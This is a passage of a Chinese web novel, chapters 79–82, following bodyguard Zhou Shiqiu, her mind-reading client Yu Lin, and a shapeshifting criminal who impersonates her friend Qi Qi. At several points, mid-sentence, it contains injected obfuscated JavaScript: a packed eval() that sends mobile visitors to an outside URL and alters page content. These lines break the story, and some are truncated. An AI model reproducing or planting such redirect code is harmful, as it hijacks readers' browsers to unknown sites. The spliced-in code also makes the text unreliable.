低头往桌上瞥了一眼,周拾秋又默默地闭上了眼睛。 桌上,像鲜血熬煮出来的浓汤里还浮着一根断指,理应是普通沙拉的碗里满是蛆虫,一盘肠子一样的东西盘旋堆叠成意面的模样,一串串眼珠被烤得滋滋冒油…… 这哪里是吃饭,简直像是误入了什么邪教献祭仪式。 周拾秋坐在位子上闭上眼,想逃都觉得有些腿软,胃里翻江倒海,她努力想将太过精神污染的画面遗忘。 缓了许久,周拾秋颤抖着拿起手机,给庾林打去电话。 “你是被绑架了吗?需要我帮你把所有人都扔进警局吗?”周拾秋干呕着,艰难地开口询问,与其说是询问,不如说是希望如此。 “整个凌沪自由区,要找一家贴近乌鸦小姐喜好的餐厅可不容易,我……合作商可是费了很大功夫才安排上。不喜欢?是不够猎奇,还是不够黑暗?”庾林轻描淡写道。 还好周拾秋拥有的不是什么力量强化异能,否则手机在这一刻已经被她捏碎成渣了。 她努力保持着理智,轻声说:“呵呵,我还以为庾总监会喜欢呢。” “我?哦,喜欢,但我觉得好东西应该分享。”庾林答得很随意。 周拾秋恍然大悟,原来是对她恶意答题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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原本想着是新一年的愿望清单,算是她完成约定后留给庾林的一份大礼,没想到这么快就收到回旋镖。 “我还写了什么来着……” 她的心思早已从大荧幕上的突脸杀飞到下午得意洋洋答题的时候,左手打着右手抱怨,“死手,让你乱写……” 不好继续坦白自己乱写一通,周拾秋只能硬着头皮在空荡的影厅里坐了两小时,直到结尾曲响起,才果断提交任务完成申请。 结束后,庾林还特意发来一条消息,询问她观后感。 看着屏幕上形同于挑衅的话语,周拾秋打字的手都在颤抖,最终回过去的消息却是极致隐忍。 ——【太精彩了,庾总监真该亲自体验一次。】 可惜,对面不痛不痒的回应,险些让周拾秋破防。 ——【我没什么兴趣,乌鸦小姐高兴就好,以后如果谁再送我这种观影体验,我可以考虑转赠。】 高兴你妹啊! 周拾秋在房间里,对着被子就是一顿暴揍,发泄完后,还得若无其事回两个字。 ——【谢谢。】 “淡定,淡定!”周拾秋深吸一口气,再缓缓呼出,努力平复心情,“最后几天,忍一忍就过去了。” 手机日历上,12月7日这一天被设置成了重要日子,备注为“解放日”。 而针对这一天的倒计时,还剩最后6日。 79. 第079章 12月2日一早,周拾秋又被里人格启动惊醒,一睁眼,她已经站在一扇落地窗前。 窗外,依旧飘着小雪,隐隐有为这座城市换上新装的趋势。天边,微微开始泛白,这个时间对于周拾秋来说,实在是早了一点。 环顾一圈,周拾秋又来到了天宫酒店的健身房,此刻正呆立在跑步机上,感觉布料包裹的身体正向外散发着热气,微微有些出汗,显然庾林已经活动了一段时间。 周拾秋的意识还处于半梦半醒间,立在跑步机上过了好一会儿,才回过神来。 真是令人熟悉的操作。 周拾秋情绪前所未有的平静,找到手机,轻车熟路地拨通电话,直到听见自己的声音在电话那端响起,她心平气和地询问:“老板,怎么一大早就开始运动了?晚上没空吗?” “你很想我晚上再运动?”对面疑声道。 周拾秋对着空气假笑:“我一般到晚上人才比较清醒。” 庾林冷冷道:“这不正好,再跑半小时吧,应该就彻底清醒了。” 一句话是真的把周拾秋噎得彻底清醒了,甚至想给庾林打一套组合拳看看,嘴里无声骂了两句,随后又温柔地建议:“你有没有考虑过,换一种更温和的运动方式呢?” “比如?”庾林问。 “冥想!”周拾秋一口答道。 “呵,建议不错,以后别建议了,赶紧动起来。”庾林毫不客气地回应。 不知为何,周拾秋隐约从他的话中听出几分心情不悦,虽说平时庾林说话也是这调性,可今日总让人觉得好像哪里得罪了他,说话有点过于不留情面。 周拾秋仔细回想一番,最终只能想到昨日那份调查问卷。 莫非又有哪个一心讨好的商家根据那调查问卷答案,向庾林送礼了? 可思来想去,如果庾林真厌烦,大概率又会找她顶上。 心中疑惑不解,她小心翼翼地开口问:“庾总监今天有什么心事?谁惹你不开心了?” “为什么这么问?”庾林发出一声冷笑。 “就……有点反常。” “没什么,只是打算改变作息。” “什么作息?” “改掉晚上运动的习惯。” “为啥呀?晚上不挺好的吗?” “我倒挺想问问乌鸦小姐,怎么个好法?” 对面突然阴阳怪气起来,如同审问一样的语气,就算看不见庾林的样子,周拾秋都能想象到他现在浑身竖起尖刺的模样。 “好……运动完好睡觉?” 周拾秋战战兢兢地胡说八道起来,脑子里倒是瞬间闪过一个画面,那是她沉迷于健身教练美色的花痴模样。 “看来乌鸦小姐睡得不错,可惜,昨晚我没能睡着。”庾林说。 此时此刻,周拾秋只能继续装傻,“怎么会呢?哦,一定是睡前看了恐怖电影,被吓得睡不着了吧?呵呵,我都帮你观影了,咋庾总监的身体还能应激啊……” 庾林一直沉默着,等到周拾秋嘴上消停后,才慢悠悠地说起了昨晚的故事。 昨晚庾林去电影院前,其实先来了健身房。当时碰巧有另一位住客也在健身房里运动,这本不是什么值得说的事,可好巧不巧,这位住客呼叫了健身教练前来指导。 更不走运的是那健身教练来到健身房后,错把庾林当成呼叫指导的住客了。 如果故事只到这里,还只是一场简单的误会,庾林大概也不会当一回事,更不可能跟周拾秋提起。 因此,当周拾秋听到这里时,冷汗已经爬上了额头。 “不会……” 周拾秋不小心出了声,后面的话被她咽了回去。应该不会那么倒霉,刚好就是她那两晚挑中的健身教练吧? 电话那头传来庾林的冷笑声:“看来乌鸦小姐已经知道我要说什么故事了。我当时还觉得奇怪,怎么那人好像跟我很熟,看我的眼神又格外怪异,说说吧,你们有什么故事?” 周拾秋浑身僵硬,眼珠在眼眶里乱跑,咬着手指思考着说辞,“呵呵,没故事,我这不是关心您的身体吗?” “继续编。”庾林回应冷淡。 “怎么会是编呢?我一个运动小白,万一没个轻重弄伤你,那我怎么过意得去?只好找个健身教练来指导一二咯,就这么一点小事,我想也没必要劳你操心,对吧?”周拾秋故作镇定。 “只是这样?” “当然!” “确定不为别的?” “我是那样的人吗?你太瞧不起我了。” “那教练看上去还挺帅。” “不及庾总监一半。” “哦,那是身材好。” “在庾总监面前谁不会黯然失色呢?” 周拾秋无比庆幸,这样的对话只在电话里进行,如果当着庾林的面,她那点小心思哪里藏得住。 “哼,口是心非。”庾林终于松了口,“总之以后不许再找人指导,你真有不懂,可以打电话问我。” “……” 你要不要听听你在说什么? 周拾秋的白眼已经要翻到天花板上去了,强忍住吐槽的冲动。庾林的话怎么听怎么不对劲,与其打电话问他,还不如让他自己上。 想想也没几天时间再陪庾林折腾了,周拾秋终是将心里不满的话憋了回去,最后只乖巧地道了声“好”。 按照庾林的要求,周拾秋慢跑了半小时,等任务完成回到家时,她与齐绮正坐在餐桌前,仿佛是她运动完后的奖励一般,面前摆着丰盛的早餐。 “哇,今天你把附近早餐店全跑了一遍吗?” 周拾秋不客气地动筷,嘴上忍不住惊叹。 齐绮先是一愣,几秒后反应过来,笑道:“不是我,也不是你,那就只能是庾先生。” 塞进嘴里的东西还没咽下去,周拾秋险些被噎住,忙喝了一口豆浆,捶着胸口将食物咽下肚,顺了顺气,才略带惊恐地看向齐绮。 “完了,我好像又闯祸了。”周拾秋表情委屈。 “他今早又让你干嘛了?”齐绮一副习以为常的模样,对周拾秋嘴里的“闯祸”二字并不意外。 周拾秋正襟危坐,指了指桌上的食物,“不是委托的事,任务是晨跑,我能闯什么祸啊,我是说这些吃的。” “怎么说?”齐绮一边吃着,一边洗耳恭听。 “你猜会不会庾木木到街上转了半小时,才买回这些早餐,结果我一个申请提交过来,他一口没吃上,白忙!” 周拾秋光想想都觉得提心吊胆,连忙看了看手环,确认没有收到差评。 下一秒,齐绮的手指戳了戳周拾秋的额头,表情无奈地说:“傻秋,你是不是忘了一件事,任务完成申请得委托人批准,否则你根本回不到自己身体。” 一时紧张,周拾秋还真忽略了这个重要问题。 自己吓自己,周拾秋用傻笑掩饰着脸上尴尬的神情,“呵,吃饭的时候少说话。” 齐绮的表情却变得微妙起来,咬着筷子,用异样的眼神打量着周拾秋。 直到周拾秋觉察到不对劲,摸着脸询问她看什么时,她才带着意味深长的笑,压低声音说道:“庾先生是不是对你有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064052|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法?” “连你都看出来了?!”周拾秋惊呼。 齐绮有些意外,笑道:“嗯?你自己也知道?我还以为你在这方面不敏感呢……” “还能不敏感吗?他表现得太明显了!”周拾秋将手上的食物放回盘子里,双手交叠在餐桌上,身子微微前倾,神神秘秘地说道,“我还以为昨晚的电影是惩罚我乱答题,现在想想,估计是因为找健身教练露馅儿了。” 齐绮张大了嘴,“啊?我们说的是一件事吗?你找健身教练又是怎么回事?” 周拾秋顿时有些不好意思,挠着头,红着脸,老实交代了自己的罪行。 “不过是为自己谋点福利而已,我真啥也没干,就只是看!不过……好像让庾木木觉得形象受损了,哈哈哈哈……” 齐绮挑了挑眉,一脸的无奈,摇着头道:“真亏你还笑得出来……你说的想法和我说的想法,不一样好吧。” 一句话将周拾秋说得一愣,她一脸不解地望着齐绮,“怎么不一样了?自从知道我是夜白鹭后,庾木木对我意见好像很大,给的任务越来越古怪了。” “额……有没有一种可能,他喜欢上你了啊?”齐绮明示道。 周拾秋瞪大双眼,哑口无言,沉默了好一会儿,瞬间爆发出夸张的笑声。 “怎、怎么可能,喜欢我还故意给我派恶心人的任务?”周拾秋不以为然,“喜欢不应该跟我表白吗?你总不会想说这是理想者的特殊表达方式吧?” 齐绮笑而不语,继而埋头吃饭,轻描淡写回了句:“但愿是我多想吧。” 如果齐绮继续多说几句,周拾秋铁定会认为齐绮小题大做了,可齐绮就此闭了嘴,不再继续讨论,周拾秋反而心里犯嘀咕。 莫非真是她自己想错了? 原本对感情这种事,她的感知与普通人不同,分不清各类感情的具体形式。如果齐绮这么说,那一定有她这么说的理由。 “庾木木不会真的喜欢我吧?” 周拾秋在心中自言自语,甚至思考着要不要当面向庾林问清楚。 见她一直愣着不吃饭,齐绮手指在桌上轻点了两下,吸引了周拾秋的目光,随即温柔一笑:“顺其自然吧,也许时候未到。最关键的是你的想法,如果别人再跟你表白,你别再一时脑热就答应了,先想想自己喜不喜欢对方。” “可是我怎么知道喜不喜欢对方呢?”周拾秋疑惑。 “哇……这个问题有点难,我想想怎么让你理解呢……”齐绮紧皱眉头,抿着嘴,思考良久,“这样吧,你想想,如果跟这个撇清关系,从此不再有瓜葛,不再见面,你会不会觉得可惜。” 周拾秋按照齐绮的指示,努力在脑海中构思出这样的场景,片刻后,一脸淡然地回道:“不可惜,甚至还有一丝轻松,怎么说?” 齐绮嘴角微微抽搐,有点想笑,又有点笑不出,她起身拍了拍周拾秋的肩,安慰道:“别想了,谈什么喜欢不喜欢啊,你这简直叫绝情。” “哦……”周拾秋似懂非懂。 两人继续吃着早餐,只是周拾秋的心里有些不舒服。有些事,她没能说出口,总觉得说出来好像有些丢脸。 如果真的远离庾林的,的确会比现在轻松许多,一想到对方有能力看穿自己,她就觉得恐惧。 是的,她对庾林抱有恐惧,这种恐惧致使她下意识想逃离。 可如果撇开读心异能,周拾秋觉得就此不再见面,又有一丝可惜,虽然庾林与她作对的性格令她气恼,可庾林的身体,她还是很满意的。 从五年前那一天起,从未改变过…… 80. 第080章 这天接下来的时间,周拾秋一直等待着庾林不分时候的召唤,然而许久也没等到任何消息。 无事可干的时间里,周拾秋偶尔确认一下暗魈是否回话,偶尔下楼打理花店生意,更多时候是确认有没有遗漏的电话,有没有未读的消息,又或者有没有错过的委托任务。 明知道自己时刻注意着,不可能有遗漏,可她还是一遍一遍确认。 而最后的结果是,什么都没有。 一直到下午4点,周拾秋实在等得失去耐心,索性给庾林打了个电话。不过接电话的人并不是庾林,而是康管家。 “周小姐好,请问找庾先生有什么事吗?”康管家一如既往客气。 周拾秋有些懵,问:“庾木木人呢?” 怎么连电话都不愿意接了?总不能因为早餐被抢了,就生气成这样吧?忒小气了点…… 周拾秋胡思乱想着。 沉默几秒后,康管家有些为难地开了口:“庾先生现在在进研所。” 心里咯噔一下,周拾秋脑子里有根弦仿佛要断掉似的,嗡嗡作响,震得她脑子一片空白,差点连呼吸都被遗忘了。 “庾木木被抓了?”这样的想法冲口而出。 康管家连忙解释:“啊,不是,庾先生只是来配合调查,周小姐不必担心。庾先生把手机留给我,让我在楼下等他,就是怕你会突然打电话过来。” 周拾秋总觉得这逻辑怪怪的,无奈质问道:“那他干嘛不提前说一声,如果我没打电话呢?” 康管家平静地复述着庾林的话:“没打电话,到进研所的事就不用告诉周小姐了。” 周拾秋觉得又好气,又好笑,实在理解不了庾林的脑回路,“那我现在知道了,去找他问这件事总可以了吧?麻烦转告他,我现在出发,去天宫酒店等他。” “别!”康管家高声制止。 周拾秋顿住了正要下楼的脚步,心里有些不太舒服,“他不想见我?” 康管家愣了几秒钟,仿佛一些指令他分析起来有些难度,经过漫长的几秒停顿后,康管家才终于开口:“不是这个意思,天宫酒店现在不安全,庾先生会先去别的地方暂住,稍后我将地址发给你。” 交谈到这里,电话挂断了,几分钟后,一个地址从庾林的手机发送到了周拾秋的手机上,甚至包括开门密码。 周拾秋整个人陷入一种茫然状态,大脑试图理清现状,却因为大量细节的缺失,让她只能胡思乱想。 不安全?什么不安全?如果真有危险,为何今天她没有收到紧急委托呢? 带着忐忑,周拾秋跟齐绮交代一声,便离开了花店,驱车前往康管家发来的地址。 两个小时后,周拾秋的车驶进了某栋公寓楼的停车场。这栋公寓楼看上去有些年头了,陈旧却不杂乱,配套设施齐全,四周绿化环境良好。 周拾秋按照消息指示,找到了康管家说的那间公寓。 房子三室一厅,陈设简单却温馨,虽远比不上天宫酒店的套房,却让人感觉舒适。房间里保持着一尘不染的整洁,看上去不像有人住,但留有许多生活痕迹。 周拾秋在房子里四处走动,好奇地翻看着,试图找出这间房子主人的信息。 最终在主卧的书桌上,发现了一张合影。 照片上是庾林,而身旁搭着他肩膀的女人,五官与他有几分相似,是个很漂亮的女子。 “庾林在这儿住过?”周拾秋的手指从照片上划过,最后停在了女人的脸上,“这是他妈妈?” 正在思索之际,门外传来密码输入的响声,周拾秋赶紧放好照片,大步冲了出去。 她大喘着粗气,乖巧地站在客厅里,紧盯向房门,眼看着房门开启,庾林和康管家走了进来。 “已经到了?”庾林瞥了周拾秋一眼,若无其事地说了一句,随即便走到客厅沙发坐下,长舒一口气,似乎这一天格外疲惫。 “嗯,刚到。”来到一个陌生的场景,周拾秋有些拘谨,手在身旁寻找着衣兜,视线不自然地到处瞟,然后别扭地走到一旁沙发上坐下。 “下午我已经买了菜拿过来,现在去做饭,稍等。”康管家随口交代一句,便径直往厨房走去。 客厅里只剩下周拾秋与庾林,谁都没有出声,安静得有些尴尬。 最后是庾林有些忍受不了,指了指墙壁上挂的电视屏幕,对周拾秋说道:“你要不看看电视?” 周拾秋眼睛眯成一条线,带着审问的口气开口道:“我过来不是为了吃饭看电视吧?你今天去进研所干嘛?还有,为什么说天宫酒店不安全?” 见周拾秋直奔主题,庾林忍不住轻笑,“你这是担心我?” “所以是发生了什么值得我担心的事?作为危代人,保护你的安全,就是保护我自己。”周拾秋振振有词。 “嗯,这种担心,明白……”庾林眼神黯淡了几分,转而轻描淡写道,“没什么,临近中午时,有人到天宫酒店找我,我觉得有点不对劲,便联系了进研所。” “谁?”周拾秋感觉浑身毛孔都散发着危险的警告。 “齐小姐。”庾林冷冷回道。 “怎么可能,齐绮一直跟我在……” 周拾秋的话没有说完,后面的字被心底的寒意彻底冻结了,她恍惚间意识到这三个字究竟代表着什么含义。 ——变异系进化者。 临近中午时,康管家正在厨房忙着准备午餐,而庾林则在研究手里那份调查问卷,忽然门铃响起。 一般情况下,不会有人不请自来,如果不在白名单之列,酒店前台都会打电话找康管家确认是否放行,像今天这种情况属实少见。 庾林第一个想到的是周拾秋,但自从知道他有读心能力后,周拾秋对他似乎能避就避,明确表示了希望只做委托,不见面,按理不可能是周拾秋。 第二个想到的是何洲和庾双,可这两个人不是没事会登门的类型。 在庾林疑惑时,康管家上前开了门,而站在门外的人令两人大吃一惊。 到访者是齐绮。 想着兴许是周拾秋又整出什么事来了,庾林让齐绮进了屋,询问起到访缘由。 齐绮开门见山地道明了来意,可一句话说出口,惊得庾林下巴险些掉地上。 “你是不是喜欢我?”齐绮一脸期待地问道。 如果不是从齐绮眼中看到了莫名的恨意,庾林差点以为自己平日的表现是不是给齐绮造成了什么错觉。 庾林不太明白那恨意从何而来,她眼中充斥着血腥的画面,令他生畏,也令他陌生。很快他意识到,这人不是齐绮,他从未在齐绮眼中看到过类似的欲望。 那种欲望,名为杀戮与征服。 当他意识到这一点时,他便想起周拾秋说过的话,那伙犯罪者中可能存在变异系进化者。 那么他现在眼前的人,会不会就是犯罪者中的一个? 这种想法瞬间让庾林从震惊转为清醒,他没有当面拆穿对方,而只是不冷不热地回了一句“不喜欢”,表示对方或许会错意了。 “那你为什么要签订遗产继承协议呢?难道不是为了我吗?”齐绮又问。 “不为什么,为了让危代人努力干活?大概。”庾林模棱两可地回应。 齐绮起身想要靠近,庾林一个眼神,康管家及时上前制止。 “齐小姐,您忘了吗?庾先生有洁癖,不喜欢别人靠近。”康管家说得很委婉,没有透露真实信息。 齐绮微微一怔,转而羞涩地道歉,可眼睛里闪过精明的光,“抱歉,太激动,一时忘了,失礼了。我只是觉得,你对我好像不一样,上次任务委托人自杀一事,你也对我完全信任,我很感激,在你眼中没有理想者对守旧者的成见。” 对面侃侃而谈,话中的内容甚至涉及危代关系,这让庾林逐渐意识到一个问题。 面前这个进化者,似乎以为齐绮是他的危代人,并且知道很多他与危代人的事情。比如遗产继承协议,和周拾秋经历的委托人自杀事件。 但很显然,她知道的东西只浮于表面。 她不知道遗产继承协议是周拾秋所为,也不知道周拾秋才是真正的协议危代人。 “咳,我对别人的事并不感兴趣,我觉得你可能想多了。”庾林顺着她的话,敷衍了一句,“如果没有别的事,你先离开吧,我有事,会再委托你。” 简单一句话撇清了两人的关系,庾林冲康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周拾秋听完庾林的讲述,陷入一种无以言说的恐惧里,似乎危险正靠近她身边的人,可她却在危险之外,毫无察觉。 “两天前,有进化者伪装成夜猫子接近了绮绮……”周拾秋面带焦虑说出了实情。 庾林面色不由得凝重起来,“你觉得是同一人吗?” 周拾秋想了想,慢条斯理地回答:“不确定,花店没有监控,我也没见过夜猫子,所以很难说那人也是变异系进化者。但是,当时齐绮还看见店里有个坐轮椅的女人,有点太凑巧了,我怀疑是同一伙人。” “所以,我成了他们的下一个目标吗?” 庾林平静地说着,就好像不是在说自己的事。 “也许。” 周拾秋并不确定,但既然有进化者试图接近,那肯定带着他们的目的。 她随即起身,几步走到庾林面前。 见庾林紧张地观察着她的一举一动,她无语地叹了口气,一把抓住庾林的手,撩起衣袖,确认手环还安然地戴在上面,才一脸严肃地说道:“你该怕的人不是我,手环戴好了,否则我可保护不了你。” 庾林低头看了一眼落在手腕上的手指,嘴角微微上扬,看似无心地调侃:“乌鸦小姐还挺会关心人,可惜分不清什么是怕,什么是……” “什么?”周拾秋立马横眉冷对,一副不满他说教的模样。 “没什么,我是说,我不怕你,你也没必要怕我,你脑袋里那些心思,我又不会到处帮你宣传。” 庾林抬眼注视着周拾秋的眼睛,嘴上说的话听上去像是安抚,可在周拾秋看来完全不是这么一回事。 一碰触到庾林的视线,周拾秋就条件反射地往后退,却被庾林反扣住手腕,她一心急,只能去挡庾林的眼睛。 周拾秋口齿不清地诡辩:“我、我、我怕怕、怕什么呀怕,我又没做亏心事。你管好你自己吧,别一不小心被进化者噶了,我这个当危代人的也得跟着受罪!” 虽然眼睛被周拾秋挡得看不清,可庾林还是隐约看见周拾秋越来越红的脸,他心中生出捉弄之意,抓着周拾秋的手腕没放,并暗中使力,将人拉向自己,嘴上不忘揶揄:“不怕你跑什么?” “我、我担心绮绮!” 周拾秋顺口胡诌,用力挣脱了庾林的手,转身就往房门跑去,“知道你没事就行了,你别到处乱跑,安心待在这里,戴好手环,真有事我给你兜底。就这样,我回去了,万一进化者又找上绮绮了……” 嘴里一刻不歇地说了一大堆,周拾秋头也不回地逃离了公寓。 81. 第081章 甚至忘了蹭一顿饭,周拾秋慌张地逃离了庾林的这间公寓,连她自己都不知道为何要如此慌张。 在返回禁仿区的路上,周拾秋才有空静下心来思考庾林离奇的遭遇。 能变成齐绮的模样前去找庾林,说明这个进化者知道与庾林签署私危协议的是乌鸦,而乌鸦在瑞波恩登记的身份是齐绮。 从自称常华表弟的人到花店找齐绮开始,周拾秋就有所怀疑,直到庾林遭遇的这件事,她终于可以肯定一件事——瑞波恩内部存在问题。 至少那伙犯罪者知道的信息肯定都来自于瑞波恩科技。 所以他们并不知道,在庾林和齐绮之间,其实还存在着一个周拾秋。 可,那人伪装成齐绮接近庾林的目的又是什么呢? 为什么只是莫名其妙地问了几句话就走了,并没有对庾林下手呢? 那人在打探什么吗? 那人会是百泉吗? 带着无法解答的疑问,周拾秋回到了花店,在确认齐绮没有遇到奇怪的事后,周拾秋的心才平静下来。 如果那伙人真的打算将庾林定为下一个目标,只要庾林别摘掉手环,她就有办法保护庾林。 说不定这也是抓住那伙人的机会! 到时候彻底解决后顾之忧,然后再处理掉莫名转移的读心异能,她就可以彻底告别危代人这件烦心事了。 想到这里,周拾秋又一次登录了暗魈的秘密网站。 这一次有收获,留言板上有一条访问者留言——聚会地点确定,欲参与者楼下报名。 周拾秋轻车熟路地在留言下评论:64448228。 等了几分钟,网页自动弹出对话框,网站管理员向她发起对话。 【管理员:曜哥最近人在鸾鹤市星槐温泉山庄度假。】 【管理员:到明年开春前应该都在那里,你想去随时可以过去,曜哥十分欢迎。】 【64448228:收到,谢谢。】 总算获取到了柴星曜的所在地,可惜人在外地,周拾秋这个时间还真不方便离开。 大概得先解决了最近的连环凶案,才好安心离开凌沪市,这样一来,似乎赶不及在一个月约定到期前解决所有的问题了。 而且,那伙人究竟会不会对庾林动手,又或者说,究竟什么时候会动手,全都是未知数,如果一个月约定期限内没有动手呢? 周拾秋看着手机日历上标注的约定结束日,心中隐隐有些焦躁。 距离约定结束,还剩最后5日。 “到期了就直接注销跑路,好像不太厚道啊……”周拾秋坐在书桌前喃喃自语。 又是一夜难以安眠,第二日一上午依旧风平浪静,庾林没有委托,也没有任何消息,更没有遭到什么突然袭击。 到了下午,两件快递被送到了花店里,收件人写着周拾秋的名字。 周拾秋不记得自己最近在网上买过什么东西,和齐绮一起拆了快递,然后被气得差点将里面的东西连带盒子一起扔出店外。 小号盒子里装着两条大金链子,经齐绮鉴别,由纯金打造。 另一个大号盒子里装着两套衣服,一套芭比粉长裙,一套基佬紫套装,看得周拾秋两眼一黑。 “哇,你的品味什么时候这么……独特了?”齐绮忍不住取笑道。 回旋镖来得是不是太快了些? 如果说大金链子还能说是某商家为了讨好庾林,按照她乱填的调查问卷定制赠送的,那这两套衣服,怎么看也不像是送给庾林的。 总不会有人分不清庾林的性别吧? 思来想去,这两样东西是庾林为了报复特意准备的,这样更说得通些。 周拾秋扶着额头,绝望地点了点头:“是啊,我这品味有待提高,坏事还是少做为好。” 在齐绮疑惑的目光注视下,周拾秋拿着那两盒东西上了楼,主动给庾林打电话交代罪行。 周拾秋:“嘻嘻,庾总监,我上次填调查问卷时,一定是低血糖,脑袋不清醒。” 庾林:“怎么说?” 周拾秋:“你大人不计小人过,就当什么事都没发生过,我重新帮你填一份可以吗?你说,我写,一个字不多写,也不少写,如何?” 庾林:“东西收到了?不喜欢?” 周拾秋:“喜欢,我可太喜欢了,问题是我喜不喜欢不重要,你不喜欢对我很重要。我宁愿收点你喜欢的东西,也不想收到品味如此独特的……” 周拾秋的声音越来越小,从嘴硬强撑,变成了苦恼呢喃。 庾林被她绕糊涂了,“什么意思?” 周拾秋一咬牙,承认道:“意思就是全都是我乱写的,你别再用这种方式惩罚我了!” 庾林:“你……总算承认全乱写了……” 周拾秋:“昂,我知道错了,对不起,以后不敢了!” 庾林:“……” 周拾秋不走心的道歉,换来的是对面的沉默,过了好一会儿也没等到庾林松口说不计较了,周拾秋总觉得庾林又在想什么坏注意。 周拾秋小心翼翼问:“呃……你还在生气吗?没这么严重吧……要怎么做你才能消气,你随便提,我尽量满足!” 庾林闻言清了清嗓子,语调微微上扬,“你说的,可别后悔。” “昂……” 那一瞬间,周拾秋有种上当的感觉,可话已说出口,又不好收回。 “约定延期一个月如何?”庾林漫不经心地回答。 周拾秋心里梗了一下,“这……是不是有点过分了……” “追加两百万。” “也不是不可以。” “乌鸦小姐还真是认钱,不认人……” “呵,都是生意人嘛,庾总监应该能够理解。” “理解,但不喜欢。” “呃……那算你便宜点,一百万?” “……” 电话还没挂断,周拾秋就发现乌鸦的账户又入账了两百万,有钱人果然爽快,但她不由得好奇起来。 “庾木木,你是不是担心约定到期后,那伙人才对你动手?其实我也想到了,作为老客户,我给你免费延期到那伙人落网也是可以的。嘻嘻,突然又收你一笔钱,显得我好像有点缺德。”周拾秋略微不好意思地笑道。 庾林叹了口气,“你想多了,花钱我心安理得点。” “心安理得什么?”周拾秋不解。 “你不用懂,继续接受我的委托就行了。”庾林语气冰冷地回答,“你不是还要帮我解决读心的麻烦吗?以防你到期人跑了。” “呵呵,感谢老板对我人品的认可!”周拾秋阴阳怪气地回怼。 “不客气。”庾林简直百毒不侵,漫不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077478|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地回应,话锋一转问,“既然调查问卷全是乱填的,那有没有你真的想去的地方?” 周拾秋不太明白庾林为何突然问这个问题,但出于对刚为她消费了两百万的大金主的尊重,她想了想,将第一时间窜进脑海的地名说了出来:“鸾鹤市吧。” “鸾鹤市?离凌沪挺远的,以雪乡闻名,确实挺适合冬天去。”庾林说。 周拾秋对此不予评价,只是傻笑了两声。 她哪里管鸾鹤市适合什么时候去,又以什么闻名啊,她只想去那里找柴星曜,打听一下关于进化者异能转移的消息。 可惜现在有变态杀人团伙捣乱,害她没法安心离开凌沪市。 没听见周拾秋反驳,庾林便说了声:“今晚没有委托,早点休息。”说完也不等周拾秋回话,便直接挂断了电话。 一如既往,我行我素。 周拾秋放下手机,盯着账户里莫名又多出的两百万,一时不知是喜是忧,更不知道继续与庾林绑定在一起,是好事还是坏事。 这天夜里,她又梦见了那场大火,还有常驻在火场里的庾林。 今晚庾林没有被绳子捆绑,他站在房子中央,朝周拾秋伸出手,仿佛在邀请她加入这场火焰舞会。 周拾秋鬼使神差地抓住了那只手,于是庾林用左手握住她的右手,右手轻扶在她左肩胛骨下,带着她在大火燃烧的房子中转起圈来。 火焰随着二人舞动,而愈发猛烈,似要将二人吞噬。 在周拾秋眼中却再无那骇人的火舌,只有那张令她一时失了神的脸。 “为什么一直看我?” 庾林在她的注视下,微微冲她一笑,声音低沉地传入耳中,比四周的热浪更撩人心弦。 “嘿嘿,因为你好看。”周拾秋毫不掩饰地回答。 “所以,你想吃掉我吗?” 旋转霎时间停止,火焰也在瞬间消失无踪,四周登时陷入一片黑暗,可眼前的庾林如烈火一般耀眼。 “什么意思?”周拾秋莫名一阵心慌,试图将手抽离。 可庾林的手死死扣住她的手腕不放,原本轻扶在她左肩胛骨下的手缓缓下移,揽住了她的腰,将她拥入怀中。 庾林的眼睛仿佛燃起了一簇灼热的火焰,直勾勾地锁定在周拾秋的脸上,似要将她烧穿了一般。 那视线居高临下,带着点挑衅的味道,“你不是喜欢这具身体吗?不是想将我拆吞入腹吗?” 周拾秋被那视线引得怒火中烧,不是因为庾林胡言乱语而气恼,而是一种被看穿后恼羞成怒的感觉。身体里似乎有个邪恶的声音不停对她耳语:“吃掉他,你想要的一切都是掌中物,请尽情享用。” 在那声音的不断劝说中,周拾秋的内心越来越躁动,一股没由来的冲动让她张嘴向庾林的脖子咬去。 滚烫却甜美的血液冲入口腔,鼻腔里弥漫着一股诱人的味道,让她彻底失控,舔舐,啃咬,耳边是沉吟、喘息,直到拥着她的力气逐渐变弱。 整个世界变得猩红一片,怀中的男人逐渐化成了血水,淹没了整个世界,一股无形的力量拉着周拾秋向下沉,心中的躁动却似要撕裂这副躯壳,一个怪物仿佛要挣脱束缚,赢得自由…… 周拾秋猛然惊醒,一身黏腻的汗水仿佛在帮她回忆着那场噩梦。 进化者是不是都逃不掉犯罪基因觉醒的那一天呢? 82. 第082章 